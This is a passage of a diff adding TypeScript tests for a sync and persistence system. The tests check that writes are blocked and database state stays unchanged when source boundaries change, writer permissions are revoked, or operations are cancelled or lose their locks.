+ expect(readFileSync(join(f.root, 'records/example-0.md'), 'utf8')).toBe(body.replace('synthetic record', 'synthetic record 0'));
+ console.info(`PERSISTED_SYNC_OPTIONS engine=${kind} noEmbed=${noEmbed} resumed_original_request=true processes=2 vectors=${noEmbed ? 0 : 1}`);
+ } finally { await disposePersistenceConsumer(engine!); await close!(); }
+ }
+ }), 240_000);
+
+type BoundaryChange = 'archived' | 'recreated' | 'wrong-owner-epoch' | 'revoked-local' | 'physical-root-replaced';
+async function changeBoundary(engine: BrainEngine, f: Awaited<ReturnType<typeof fixture>>, change: BoundaryChange): Promise<() => Promise<void>> {
+ if (change === 'revoked-local') {
+ const registration = await registerLocalWriter(engine, 'cli');
+ expect(await revokeLocalWriter(engine, registration.id)).toBe(true);
+ return async () => { await engine.executeRaw('UPDATE persistence_local_writers SET revoked_at=NULL WHERE id=$1::uuid', [registration.id]); };
+ }
+ if (change === 'physical-root-replaced') {
+ const original = `${f.root}-original`;
+ renameSync(f.root, original); cpSync(original, f.root, { recursive: true });
+ return async () => { rmSync(f.root, { recursive: true, force: true }); renameSync(original, f.root); };
+ }
+ if (change === 'wrong-owner-epoch') {
+ const binding = (await getWorktreeBinding(engine, f.id))!;
+ await engine.executeRaw('UPDATE persistence_worktrees SET owner_epoch=owner_epoch+1 WHERE id=$1::uuid', [binding.worktree_id]);
+ return async () => { await engine.executeRaw('UPDATE persistence_worktrees SET owner_epoch=$2 WHERE id=$1::uuid', [binding.worktree_id, binding.owner_epoch]); };
+ }
+ const [source] = await engine.executeRaw<{ incarnation: string; archived: boolean }>('SELECT incarnation,archived FROM sources WHERE id=$1', [f.id]);
+ await engine.transaction(async tx => {
+ await tx.executeRaw("SELECT set_config('gbrain.topology_change','on',true)");
+ if (change === 'archived') await tx.executeRaw('UPDATE sources SET archived=true WHERE id=$1', [f.id]);
+ else {
+ await tx.executeRaw('DELETE FROM page_write_guards WHERE source_incarnation=$1::uuid', [source.incarnation]);
+ await tx.executeRaw('UPDATE sources SET incarnation=$2::uuid WHERE id=$1', [f.id, randomUUID()]);
+ }
+ });
+ return async () => {
+ await engine.transaction(async tx => {
+ await tx.executeRaw("SELECT set_config('gbrain.topology_change','on',true)");
+ await tx.executeRaw('UPDATE sources SET incarnation=$2::uuid,archived=$3 WHERE id=$1', [f.id, source.incarnation, source.archived]);
+ });
+ };
+}
+
+for (const change of ['archived', 'recreated', 'wrong-owner-epoch', 'revoked-local', 'physical-root-replaced', 'remote-agent', 'shared-secret'] as const) {
+ check(`dispatch fences ${change} in active and claimed-inactive brains`, async engine => {
+ for (const enabled of [true, false]) {
+ const f = await fixture(engine);
+ const registration = await registerLocalWriter(engine, 'cli');
+ if (change === 'wrong-owner-epoch') expect(await interruptAfterSyncDiscovery(engine, f.opts)).toMatchObject({ status: 'partial' });
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=$1 WHERE singleton=1', [enabled]);
+ let restore = async () => {}, run = () => performSync(engine, f.opts);
+ if (change === 'shared-secret') run = () => withLegacySyncDelegation(() => performSync(engine, f.opts));
+ else if (change === 'remote-agent') {
+ const clientId = `fixture-agent-${randomUUID()}`;
+ await engine.executeRaw(`INSERT INTO oauth_clients(client_id,client_name,client_secret_hash,scope,source_id,bound_source_id,federated_read,bound_tools,delegated_slug_prefixes,delegated_namespace)
+ VALUES($1,'Fixture agent','test-only','agent',$2,$2,ARRAY[$2]::text[],ARRAY['get_page','put_page'],ARRAY['records/'],'prefixes')`, [clientId, f.id]);
+ const authority = await prepareRemoteAgent({ engine, remote: true, auth: { clientId, principal: { kind: 'oauth_client', id: clientId }, scopes: ['agent'], sourceId: f.id } } as OperationContext,
+ { source_id: f.id, allowed_tools: ['get_page', 'put_page'], allowed_slug_prefixes: ['records/'] });
+ run = () => withSubmissionAuthority(authority, () => performSync(engine, f.opts));
+ } else if (change !== 'revoked-local') restore = await changeBoundary(engine, f, change);
+ try {
+ const invoke = async () => {
+ if (change === 'revoked-local') restore = await changeBoundary(engine, f, change);
+ if (enabled && change === 'physical-root-replaced') {
+ expect(await run()).toMatchObject({ status: 'blocked_by_failures', managedWrite: { write_error: 'recovery_required' } });
+ } else {
+ const code = !enabled ? 'writer_coordinator_required' : change === 'archived' || change === 'recreated' ? 'owner_unavailable'
+ : change === 'wrong-owner-epoch' ? 'source_changed' : 'permission_denied';
+ await expect(run()).rejects.toMatchObject({ code });
+ }
+ };
+ if (change === 'revoked-local') await withVerifiedLocalRegistration(engine, registration, invoke);
+ else await invoke();
+ expect(await engine.executeRaw('SELECT id FROM pages WHERE source_id=$1', [f.id])).toEqual([]);
+ expect(await engine.executeRaw('SELECT id FROM persistence_effects WHERE source_id=$1', [f.id])).toEqual([]);
+ expect((await engine.executeRaw('SELECT last_commit,last_sync_at FROM sources WHERE id=$1', [f.id]))[0]).toEqual({ last_commit: null, last_sync_at: null });
+ const requests = await engine.executeRaw<{ state: string }>('SELECT state FROM persistence_requests WHERE source_id=$1', [f.id]);
+ if (enabled && change === 'physical-root-replaced') {
+ expect(requests).toHaveLength(1); expect(requests[0].state).toBe('failed');
+ } else expect(requests).toEqual([]);
+ expect(await engine.executeRaw('SELECT enabled FROM persistence_brain WHERE singleton=1')).toEqual([{ enabled }]);
+ expect(readFileSync(join(f.root, 'records/example-0.md'), 'utf8')).toBe(body.replace('synthetic record', 'synthetic record 0'));
+ console.info(`SYNC_DISPATCH_FENCE engine=${engine.kind} enabled=${enabled} case=${change} published=0`);
+ } finally { await disposePersistenceConsumer(engine); await restore(); }
+ }
+ });
+}
+
+for (const change of ['unchanged', 'archived', 'recreated', 'wrong-owner-epoch', 'revoked-local', 'physical-root-replaced', 'remote-job-revoked'] as const) {
+ check(`publication revalidates ${change} after successful preparation without changing the original request`, async engine => {
+ const f = await fixture(engine, 1, false);
+ const path = 'records/example-0.md', content = readFileSync(join(f.root, path), 'utf8');
+ const previous = content.replace('durable processing consent', 'previously accepted content');
+ writeFileSync(join(f.root, path), previous);
+ f.git.commitAll('Record synthetic prior content');
+ const from = execFileSync('git', ['-C', f.root, 'rev-parse', 'HEAD'], { encoding: 'utf8' }).trim();
+ await importFromContent(engine, 'records/example-0', previous, { sourceId: f.id, sourcePath: path, noEmbed: true });
+ await engine.createVersion('records/example-0', { sourceId: f.id });
+ await engine.executeRaw('UPDATE sources SET last_commit=$2 WHERE id=$1', [f.id, from]);
+ writeFileSync(join(f.root, path), content);
+ f.git.commitAll('Change synthetic publication content');
+ const before = (await engine.readPageSnapshot('records/example-0', { sourceId: f.id }))!;
+ const history = await engine.getVersions('records/example-0', { sourceId: f.id });
+ expect(before).not.toBeNull();
+ expect(history.length).toBeGreaterThan(0);
+ await claimWorktree(engine, f.id, f.root);
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=true WHERE singleton=1');
+ const binding = (await getWorktreeBinding(engine, f.id))!;
+ let authority = await managedSyncAuthority(engine, f.id, binding.source_incarnation, f.root);
+ let clientId: string | undefined;
+ if (change === 'remote-job-revoked') {
+ clientId = `fixture-admin-${randomUUID()}`;
+ await engine.executeRaw(`INSERT INTO oauth_clients(client_id,client_name,client_secret_hash,scope,source_id,allowed_operations)
+ VALUES($1,'Fixture admin','test-only','admin',$2,ARRAY['submit_job'])`, [clientId, f.id]);
+ const ctx = { engine, remote: true, sourceId: f.id, auth: { clientId, principal: { kind: 'oauth_client', id: clientId }, scopes: ['admin'], sourceId: f.id, allowedOperations: ['submit_job'] } } as OperationContext;
+ const remote = await prepareRemoteJob(ctx, 'sync', { noPull: true });
+ authority = await withSubmissionAuthority(remote.authority, () => managedSyncAuthority(engine, f.id, binding.source_incarnation, f.root));
+ }
+ const intent: SyncIntent = { kind: 'managed_sync_import', processingOptions: { noEmbed: true, noExtract: true, noSchemaPack: change !== 'remote-job-revoked' },
+ expected_revision: before.revision, path, sourcePath: path, content, rawHash: sha256(content), ownerEpoch: String(binding.owner_epoch), syncAuthority: authority,
+ cursorKey: randomUUID(), runId: randomUUID(), index: 0, total: 1, from,
+ target: execFileSync('git', ['-C', f.root, 'rev-parse', 'HEAD'], { encoding: 'utf8' }).trim(), slugMode: 'git-root', working: false };
+ const admission = { requestId: randomUUID(), operation: 'submit_job', sourceId: f.id, sourceIncarnation: binding.source_incarnation,
+ slug: 'records/example-0', pageId: before.page.id, worktreeId: binding.worktree_id, topologyGeneration: binding.topology_generation,
+ principal: authority.writer.principal, authority: authority.writer, callerIntent: intent, intent };
+ const checkpoint = [{ sourceId: f.id, runId: intent.runId, index: 0, total: 1, from, target: intent.target, pending: { requestId: admission.requestId } }];
+ await engine.executeRaw("INSERT INTO op_checkpoints(op,fingerprint,completed_keys) VALUES('managed-sync',$1,$2::text::jsonb)", [intent.cursorKey, JSON.stringify(checkpoint)]);
+ const accepted = await admitWrite(engine, admission), row = (await claimNextWrite(engine, localHostId()))!;
+ expect(row.id).toBe(accepted.id);
+ const prepared = await prepareManagedSyncMutation(engine, row, { engine: engine.kind });
+ expect(prepared.noop).not.toBe(true);
+ let restore = async () => {};
+ if (change === 'remote-job-revoked') await engine.executeRaw("UPDATE oauth_clients SET scope='read' WHERE client_id=$1", [clientId!]);
+ else if (change !== 'unchanged') restore = await changeBoundary(engine, f, change);
+ const fenced = (await engine.readPageSnapshot(admission.slug, { sourceId: f.id }))!;
+ expect(fenced.page).toEqual(before.page);
+ expect(fenced.revision).toBe(before.revision);
+ if (change === 'recreated') expect(fenced.sourceIncarnation).not.toBe(before.sourceIncarnation);
+ else expect(fenced.sourceIncarnation).toBe(before.sourceIncarnation);
+ try {
+ const result = await publishMutation(engine, row, prepared);
+ if (change === 'unchanged') {
+ expect(result.state).toBe('committed');
+ expect(await engine.executeRaw('SELECT id FROM pages WHERE source_id=$1', [f.id])).toHaveLength(1);
+ expect((await engine.readPageSnapshot(admission.slug, { sourceId: f.id }))!.revision).not.toBe(before.revision);
+ } else {
+ expect(['failed', 'conflict']).toContain(result.state);
+ expect(result.error_code).toBe(change === 'archived' || change === 'recreated' ? 'source_changed' : change === 'wrong-owner-epoch' ? 'owner_unavailable'
+ : change === 'physical-root-replaced' ? 'recovery_required' : 'permission_denied');
+ expect(await engine.readPageSnapshot(admission.slug, { sourceId: f.id })).toEqual(fenced);
+ expect(await engine.getVersions(admission.slug, { sourceId: f.id })).toEqual(history);
+ }
+ expect(await engine.executeRaw('SELECT id FROM persistence_effects WHERE source_id=$1', [f.id])).toEqual([]);
+ expect((await engine.executeRaw('SELECT last_commit,last_sync_at FROM sources WHERE id=$1', [f.id]))[0]).toEqual({ last_commit: from, last_sync_at: null });
+ expect((await engine.executeRaw<{ completed_keys: unknown }>("SELECT completed_keys FROM op_checkpoints WHERE op='managed-sync' AND fingerprint=$1", [intent.cursorKey]))[0].completed_keys).toEqual(checkpoint);
+ const receipt = (await getWriteRequest(engine, admission.principal, admission.requestId))!;
+ expect(receipt.id).toBe(accepted.id);
+ expect(receipt.request_id).toBe(admission.requestId);
+ expect(receipt.digest).toBe(accepted.digest);
+ expect(receipt.intent).toEqual(intent);
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toHaveLength(1);
+ expect(readFileSync(join(f.root, path), 'utf8')).toBe(content);
+ console.info(`SYNC_PUBLICATION_FENCE engine=${engine.kind} case=${change} state=${result.state} frozen_intent_unchanged=true`);
+ } finally { await restore(); }
+ });
+}
+
+for (const boundary of ['mode', 'company-profile'] as const) for (const interrupted of ['caller-abort', 'explicit-abort', 'job-abort', 'lease-loss', 'released-context'] as const) check(`active dispatch rechecks ${interrupted} after an observed ${boundary} await`, async engine => {
+ const parent = mkdtempSync(join(tmpdir(), 'gbrain-sync-barrier-'));
+ const f = await fixture(engine, 1, false, parent), abort = new AbortController();
+ const checkpoints = await engine.executeRaw('SELECT op,fingerprint,completed_keys FROM op_checkpoints ORDER BY op,fingerprint');
+ let entered!: () => void, resume!: () => void;
+ const atRead = new Promise<void>(resolve => { entered = resolve; }), releaseRead = new Promise<void>(resolve => { resume = resolve; });
+ const execute = engine.executeRaw, interval = globalThis.setInterval;
+ const timer = interrupted === 'lease-loss' ? spyOn(globalThis, 'setInterval').mockImplementation(((fn: (...args: any[]) => void, milliseconds?: number, ...args: any[]) =>
+ interval(fn, milliseconds === 300_000 ? 10 : milliseconds, ...args)) as unknown as typeof interval) : undefined;
+ let pending!: Promise<Awaited<ReturnType<typeof performSync>>>, observed: Awaited<ReturnType<typeof performSync>> | undefined;
+ let readObserved = false, callbackReached = false, leasedKey: string | undefined;
+ const outer = withSourceFilesystemLock(engine, f.root, async () => {
+ timer?.mockRestore();
+ await claimWorktree(engine, f.id, f.root);
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=true WHERE singleton=1');
+ const signal = currentSourceFilesystemSignal()!;
+ const lost = new Promise<void>(resolve => signal.addEventListener('abort', () => resolve(), { once: true }));
+ engine.executeRaw = async function (this: BrainEngine, sql: string, params?: unknown[]) {
+ const result = await execute.call(this, sql, params);
+ if (!readObserved && sql === (boundary === 'mode' ? 'SELECT enabled FROM persistence_brain WHERE singleton=1' : 'SELECT config,incarnation FROM sources WHERE id=$1')) {
+ readObserved = true; entered(); await releaseRead;
+ }
+ return result;
+ } as BrainEngine['executeRaw'];
+ pending = interrupted === 'job-abort'
+ ? withSubmissionAuthority(APPLICATION_AUTHORITY, () => performSync(engine, f.opts), abort.signal)
+ : performSync(engine, { ...f.opts, ...(interrupted === 'explicit-abort' ? { signal: abort.signal } : {}) });
+ void pending.catch(() => {});
+ await atRead;
+ if (interrupted === 'released-context') { callbackReached = true; return; }
+ if (interrupted === 'caller-abort' || interrupted === 'explicit-abort' || interrupted === 'job-abort') abort.abort();
+ else {
+ const [lease] = await execute.call(engine, "SELECT id,acquisition_token FROM gbrain_cycle_locks WHERE id LIKE 'gbrain-fs:%'") as Array<{ id: string; acquisition_token: string }>;
+ expect(lease).toBeDefined(); leasedKey = String(lease.id);
+ await execute.call(engine, 'UPDATE gbrain_cycle_locks SET acquisition_token=$2::uuid WHERE id=$1', [leasedKey, randomUUID()]);
+ await lost;
+ expect(signal.aborted).toBe(true);
+ expect(signal.reason).toMatchObject({ name: 'LockStolenError', lockId: leasedKey });
+ }
+ resume();
+ if (interrupted === 'caller-abort' || interrupted === 'explicit-abort') observed = await pending;
+ else if (interrupted === 'job-abort') await expect(pending).rejects.toMatchObject({ name: 'AbortError' });
+ else await expect(pending).rejects.toMatchObject({ name: 'LockStolenError', lockId: leasedKey });
+ callbackReached = true;
+ }, { signal: interrupted === 'caller-abort' ? abort.signal : undefined });
+ try {
+ if (interrupted === 'released-context') {
+ await outer; resume();
+ await expect(pending).rejects.toMatchObject({ name: 'LockStolenError', lockId: 'released-worktree-context' });
+ } else if (interrupted === 'explicit-abort' || interrupted === 'job-abort') await outer;
+ else await expect(outer).rejects.toMatchObject({ name: interrupted === 'caller-abort' ? 'AbortError' : 'LockStolenError' });
+ expect(readObserved).toBe(true);
+ expect(callbackReached).toBe(true);
+ if (interrupted === 'caller-abort' || interrupted === 'explicit-abort') expect(observed).toMatchObject({ status: 'partial', reason: 'timeout', filesImported: 0 });
+ await assertUntouched(engine, f);
+ expect(await engine.executeRaw('SELECT op,fingerprint,completed_keys FROM op_checkpoints ORDER BY op,fingerprint')).toEqual(checkpoints);
+ expect(await engine.executeRaw('SELECT enabled FROM persistence_brain WHERE singleton=1')).toEqual([{ enabled: true }]);
+ console.info(`SYNC_AFTER_AWAIT engine=${engine.kind} boundary=${boundary} case=${interrupted} barrier_observed=true checkpoints=0 published=0`);
+ } finally {
+ resume(); timer?.mockRestore(); engine.executeRaw = execute;
+ if (leasedKey) await engine.executeRaw('DELETE FROM gbrain_cycle_locks WHERE id=$1', [leasedKey]);
+ await outer.catch(() => {}); await pending?.catch(() => {});
+ rmSync(parent, { recursive: true, force: true });
+ }
+});
+
+check('active pre-entry cancellation returns the caller partial result or rejects the job without creating checkpoints', async engine => {
+ for (const caller of ['explicit', 'job']) {
+ const f = await fixture(engine), abort = new AbortController();
+ const checkpoints = await engine.executeRaw('SELECT op,fingerprint,completed_keys FROM op_checkpoints ORDER BY op,fingerprint');
+ abort.abort();
+ if (caller === 'explicit') {
+ const result = await performSync(engine, { ...f.opts, signal: abort.signal });
+ expect(result).toMatchObject({ status: 'partial', reason: 'timeout', filesImported: 0 });
+ } else {
+ await expect(withSubmissionAuthority(APPLICATION_AUTHORITY, () => performSync(engine, f.opts), abort.signal)).rejects.toMatchObject({ name: 'AbortError' });
+ }
+ await assertUntouched(engine, f);
+ expect(await engine.executeRaw('SELECT op,fingerprint,completed_keys FROM op_checkpoints ORDER BY op,fingerprint')).toEqual(checkpoints);
+ console.info(`SYNC_PRE_ENTRY engine=${engine.kind} caller=${caller} checkpoints=0 published=0`);
+ }
+});
+
+async function syncState(engine: BrainEngine, sourceId: string) {
+ return {
+ pages: await engine.executeRaw('SELECT * FROM pages WHERE source_id=$1 ORDER BY id', [sourceId]),
+ requests: await engine.executeRaw('SELECT * FROM persistence_requests WHERE source_id=$1 ORDER BY sequence', [sourceId]),
+ effects: await engine.executeRaw('SELECT * FROM persistence_effects WHERE source_id=$1 ORDER BY id', [sourceId]),
+ source: await engine.executeRaw('SELECT last_commit,last_sync_at FROM sources WHERE id=$1', [sourceId]),
+ checkpoints: await engine.executeRaw('SELECT op,fingerprint,completed_keys,updated_at FROM op_checkpoints ORDER BY op,fingerprint'),
+ counters: await engine.executeRaw('SELECT * FROM persistence_counters ORDER BY key'),
+ };
+}
+
+type SyncBarrier = 'discovery' | 'discovery-commit' | 'foreground' | 'freeze' | 'freeze-commit' | 'request-lookup' | 'admission-commit';
+function matchesSyncBarrier(boundary: SyncBarrier, sql: string, params: unknown[] | undefined, transactional: boolean): boolean {
+ if (boundary === 'discovery') return sql.startsWith('SELECT source_path FROM pages WHERE source_id=');
+ if (boundary === 'foreground') return sql.includes("NOT(COALESCE(intent->>'kind','') LIKE 'managed_sync_%') LIMIT 1");
+ if (boundary === 'freeze') return sql.startsWith('SELECT id,source_path FROM pages WHERE source_id=') && !transactional;
+ if (boundary === 'request-lookup') return sql.startsWith('SELECT') && sql.includes('FROM persistence_requests') && sql.includes('request_id=') && !transactional;
+ if (boundary === 'admission-commit') return sql.includes('UPDATE persistence_counters SET outstanding_count=outstanding_count+1');
+ return transactional && sql === 'SELECT completed_keys FROM op_checkpoints WHERE op=$1 AND fingerprint=$2' && params?.[0] === 'managed-sync';
+}
+
+for (const boundary of ['discovery', 'discovery-commit', 'foreground', 'freeze', 'freeze-commit', 'request-lookup', 'admission-commit'] as const) {
+ for (const interrupted of ['explicit-abort', 'caller-abort', 'job-abort', 'lease-loss', 'released-context'] as const) {
+ if (interrupted === 'lease-loss' && boundary.endsWith('-commit')) continue;
+ for (const kind of ['pglite', ...(process.env.DATABASE_URL ? ['postgres'] : [])]) check(`managed cancellation fences ${interrupted} at ${boundary} (${kind})`, async engine => {
+ if (engine.kind !== kind) return;
+ const parent = mkdtempSync(join(tmpdir(), 'gbrain-sync-admission-'));
+ const f = await fixture(engine, 1, false, parent), abort = new AbortController();
+ let entered!: () => void, resume!: () => void;
+ const reached = new Promise<void>(resolve => { entered = resolve; });
+ const gate = new Promise<void>(resolve => { resume = resolve; });
+ let exited!: () => void;
+ const contextExited = new Promise<void>(resolve => { exited = resolve; });
+ const execute = engine.executeRaw, transaction = engine.transaction, interval = globalThis.setInterval;
+ const timer = interrupted === 'lease-loss' ? spyOn(globalThis, 'setInterval').mockImplementation(((fn: (...args: any[]) => void, ms?: number, ...args: any[]) =>
+ interval(fn, ms === 300_000 ? 10 : ms, ...args)) as unknown as typeof interval) : undefined;
+ let pending!: Promise<Awaited<ReturnType<typeof performSync>>>;
+ let before: Awaited<ReturnType<typeof syncState>> | undefined, transactionBefore: typeof before;
+ let observed = false, frozen = false, leasedKey: string | undefined;
+ const outer = withSourceFilesystemLock(engine, f.root, async () => {
+ timer?.mockRestore();
+ await claimWorktree(engine, f.id, f.root);
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=true WHERE singleton=1');
+ const signal = currentSourceFilesystemSignal()!;
+ const lost = new Promise<void>(resolve => signal.addEventListener('abort', () => resolve(), { once: true }));
+ engine.transaction = async function (this: BrainEngine, fn: (tx: BrainEngine) => Promise<unknown>) {
+ if (!observed) transactionBefore = await syncState(this, f.id);
+ return transaction.call(this, fn);
+ } as BrainEngine['transaction'];
+ engine.executeRaw = async function (this: BrainEngine, sql: string, params?: unknown[]) {
+ const rows = await execute.call(this, sql, params);
+ if (sql.startsWith('UPDATE op_checkpoints SET completed_keys=') && params?.[0] === 'managed-sync') frozen = true;
+ if (!observed && matchesSyncBarrier(boundary, sql, params, this !== engine) && (boundary !== 'freeze-commit' || frozen)) {
+ observed = true;
+ before = this === engine ? await syncState(engine, f.id) : transactionBefore;
+ expect(before).toBeDefined();
+ expect(before!.requests).toEqual([]);
+ entered(); await gate;
+ }
+ return rows;
+ } as BrainEngine['executeRaw'];
+ pending = interrupted === 'job-abort'
+ ? withSubmissionAuthority(APPLICATION_AUTHORITY, () => performSync(engine, f.opts), abort.signal)
+ : performSync(engine, { ...f.opts, ...(interrupted === 'caller-abort' ? {} : { signal: abort.signal }) });
+ void pending.catch(() => {});
+ await Promise.race([reached, pending.then(() => { throw new Error(`Missing ${boundary} barrier`); })]);
+ if (interrupted === 'released-context') { setImmediate(exited); return; }
+ if (interrupted === 'lease-loss') {
+ const [lease] = await execute.call(engine, "SELECT id FROM gbrain_cycle_locks WHERE id LIKE 'gbrain-fs:%'") as Array<{ id: string }>;
+ leasedKey = lease.id;
+ await execute.call(engine, 'UPDATE gbrain_cycle_locks SET acquisition_token=$2::uuid WHERE id=$1', [leasedKey, randomUUID()]);
+ await lost;
+ abort.abort();
+ expect(signal.reason).toMatchObject({ name: 'LockStolenError', lockId: leasedKey });
+ } else abort.abort(interrupted === 'job-abort' ? new Error('Synthetic worker timeout') : undefined);
+ resume();
+ if (interrupted === 'explicit-abort' || interrupted === 'caller-abort') expect(await pending).toMatchObject({ status: 'partial', reason: 'timeout', filesImported: 0, added: 0 });
+ else await expect(pending).rejects.toMatchObject(interrupted === 'job-abort' ? { name: 'AbortError', message: 'Synthetic worker timeout' } : { name: 'LockStolenError', lockId: leasedKey });
+ }, { signal: interrupted === 'caller-abort' ? abort.signal : undefined });
+ try {
+ if (interrupted === 'released-context') {
+ await Promise.race([contextExited, outer]); abort.abort(); resume();
+ await expect(pending).rejects.toMatchObject({ name: 'LockStolenError', lockId: 'released-worktree-context' });
+ await outer;
+ } else if (interrupted === 'lease-loss') await expect(outer).rejects.toMatchObject({ name: 'LockStolenError', lockId: expect.any(String) });
+ else if (interrupted === 'caller-abort') await expect(outer).rejects.toMatchObject({ name: 'AbortError' });
+ else await outer;
+ expect(observed).toBe(true);
+ await disposePersistenceConsumer(engine);
+ expect(await syncState(engine, f.id)).toEqual(before!);
+ expect(readFileSync(join(f.root, 'records/example-0.md'), 'utf8')).toBe(body.replace('synthetic record', 'synthetic record 0'));
+ console.info(`SYNC_ADMISSION_ABORT engine=${engine.kind} boundary=${boundary} case=${interrupted} requests_at_interrupt=0 state_unchanged=true`);
+ } finally {
+ resume(); timer?.mockRestore();
+ await outer.catch(() => {}); await pending?.catch(() => {});
+ await disposePersistenceConsumer(engine);
+ engine.executeRaw = execute; engine.transaction = transaction;
+ if (leasedKey) await engine.executeRaw('DELETE FROM gbrain_cycle_locks WHERE id=$1', [leasedKey]);
+ rmSync(parent, { recursive: true, force: true });
+ }
+ });
+ }
+}
+
+for (const boundary of ['retry-discovery', 'retry-commit', 'missing-manifest', 'completed-cleanup'] as const) check(`cancelled ${boundary} preserves durable cursor and receipt identities`, async engine => {
+ const f = await fixture(engine);
+ if (boundary !== 'completed-cleanup') {
+ writeFileSync(join(f.root, 'records/example-0.md'), '---\ntitle: [broken\n---\nSynthetic invalid document.\n');
+ f.git.commitAll('Add synthetic failed import');
+ expect(await performSync(engine, f.opts)).toMatchObject({ status: 'blocked_by_failures' });
+ writeFileSync(join(f.root, 'records/example-0.md'), body);
+ f.git.commitAll('Repair synthetic failed import');
+ } else expect(await performSync(engine, f.opts)).toMatchObject({ status: 'first_sync', added: 1 });
+ await disposePersistenceConsumer(engine);
+ const original = await cursor(engine, f.id);
+ if (boundary === 'missing-manifest') await engine.executeRaw("DELETE FROM op_checkpoints WHERE op='managed-sync-manifest' AND fingerprint=$1", [original.value.runId]);
+ const before = await syncState(engine, f.id), abort = new AbortController(), execute = engine.executeRaw;
+ expect(before.requests).toHaveLength(boundary === 'completed-cleanup' ? 2 : 1);
+ let observed = false;
+ engine.executeRaw = async function (this: BrainEngine, sql: string, params?: unknown[]) {
+ const rows = await execute.call(this, sql, params);
+ if (!observed && (boundary === 'retry-discovery' ? sql.startsWith('SELECT source_path FROM pages WHERE source_id=')
+ : boundary === 'completed-cleanup' ? sql.startsWith('DELETE FROM op_checkpoints WHERE op=$1')
+ : this !== engine && sql === 'SELECT completed_keys FROM op_checkpoints WHERE op=$1 AND fingerprint=$2' && params?.[0] === 'managed-sync')) {
+ observed = true; abort.abort();
+ }
+ return rows;
+ } as BrainEngine['executeRaw'];
+ try {
+ expect(await performSync(engine, { ...f.opts, retryFailed: true, signal: abort.signal })).toMatchObject({ status: 'partial', reason: 'timeout', runId: original.value.runId });
+ expect(observed).toBe(true);
+ expect(await syncState(engine, f.id)).toEqual(before);
+ console.info(`SYNC_RETRY_ABORT engine=${engine.kind} boundary=${boundary} original_run=${original.value.runId} state_unchanged=true`);
+ } finally { engine.executeRaw = execute; }
+});
+
+check('cancellation during accepted-request lookup leaves its frozen identity for resume', async engine => {
+ const f = await fixture(engine), execute = engine.executeRaw, freeze = new AbortController();
+ engine.executeRaw = async function (this: BrainEngine, sql: string, params?: unknown[]) {
+ const rows = await execute.call(this, sql, params);
+ if (matchesSyncBarrier('request-lookup', sql, params, this !== engine)) freeze.abort();
+ return rows;
+ } as BrainEngine['executeRaw'];
+ try {
+ expect(await performSync(engine, { ...f.opts, signal: freeze.signal })).toMatchObject({ status: 'partial', reason: 'timeout', filesImported: 0 });
+ } finally { engine.executeRaw = execute; }
+ const frozen = await cursor(engine, f.id), pending = frozen.value.pending;
+ expect(pending).toBeDefined();
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toEqual([]);
+ const accepted = await admitWrite(engine, { requestId: pending.requestId, operation: 'submit_job', sourceId: f.id,
+ sourceIncarnation: frozen.value.incarnation, slug: pending.slug, pageId: pending.pageId,
+ worktreeId: frozen.value.binding.worktree_id, topologyGeneration: frozen.value.binding.topology_generation,
+ principal: frozen.value.authority.writer.principal, authority: frozen.value.authority.writer, callerIntent: pending.intent, intent: pending.intent });
+ const before = await syncState(engine, f.id), abort = new AbortController();
+ let observed = false;
+ engine.executeRaw = async function (this: BrainEngine, sql: string, params?: unknown[]) {
+ const rows = await execute.call(this, sql, params);
+ if (!observed && matchesSyncBarrier('request-lookup', sql, params, this !== engine)) {
+ expect(rows).toHaveLength(1); observed = true; abort.abort();
+ }
+ return rows;
+ } as BrainEngine['executeRaw'];
+ try {
+ expect(await performSync(engine, { ...f.opts, signal: abort.signal })).toMatchObject({ status: 'partial', reason: 'timeout', runId: frozen.value.runId, filesImported: 0 });
+ expect(observed).toBe(true);
+ expect(await syncState(engine, f.id)).toEqual(before);
+ } finally { engine.executeRaw = execute; }
+ expect(await performSync(engine, f.opts)).toMatchObject({ status: 'first_sync', runId: frozen.value.runId, added: 1 });
+ const resumed = (await getWriteRequest(engine, accepted.authority.principal, accepted.request_id))!;
+ expect(resumed).toMatchObject({ id: accepted.id, request_id: accepted.request_id, intent: accepted.intent, digest: accepted.digest, state: 'committed' });
+ expect(await engine.executeRaw("SELECT id FROM persistence_requests WHERE source_id=$1 AND intent->>'kind'='managed_sync_import'", [f.id])).toEqual([{ id: accepted.id }]);
+});
+
+for (const boundary of ['accepted-commit', 'receipt-banking'] as const) check(`cancellation at ${boundary} still banks accepted work without admitting the next page`, async engine => {
+ const f = await fixture(engine, 2), execute = engine.executeRaw, transaction = engine.transaction, abort = new AbortController();
+ let accepted = false, observed = false;
+ engine.executeRaw = async function (this: BrainEngine, sql: string, params?: unknown[]) {
+ const rows = await execute.call(this, sql, params);
+ if (sql.includes('INSERT INTO persistence_requests')) accepted = true;
+ if (boundary === 'receipt-banking' && accepted && sql.startsWith('UPDATE op_checkpoints SET completed_keys=') &&
+ params?.[0] === 'managed-sync' && JSON.parse(String(params[3]))[0].index === 1) { observed = true; abort.abort(); }
+ return rows;
+ } as BrainEngine['executeRaw'];
+ engine.transaction = async function (this: BrainEngine, run: (tx: BrainEngine) => Promise<unknown>) {
+ const result = await transaction.call(this, run);
+ if (boundary === 'accepted-commit' && accepted && !observed) { observed = true; abort.abort(); }
+ return result;
+ } as BrainEngine['transaction'];
+ try {
+ const first = await performSync(engine, { ...f.opts, signal: abort.signal });
+ expect(first).toMatchObject({ status: 'partial', reason: 'timeout', added: 1, filesImported: 1, bankedFiles: 1 });
+ expect(observed).toBe(true);
+ await disposePersistenceConsumer(engine);
+ const banked = await cursor(engine, f.id), before = await syncState(engine, f.id);
+ expect(banked.value).toMatchObject({ index: 1, counts: { added: 1 } });
+ expect(banked.value.pending).toBeUndefined();
+ expect(before.requests).toHaveLength(1);
+ expect(before.requests[0]).toMatchObject({ state: 'committed' });
+ expect(before.pages).toHaveLength(1);
+ expect(before.effects).toEqual([]);
+ expect(before.source).toEqual([{ last_commit: null, last_sync_at: null }]);
+ engine.executeRaw = execute; engine.transaction = transaction;
+ expect(await performSync(engine, f.opts)).toMatchObject({ status: 'first_sync', runId: first.runId, added: 2, filesImported: 2 });
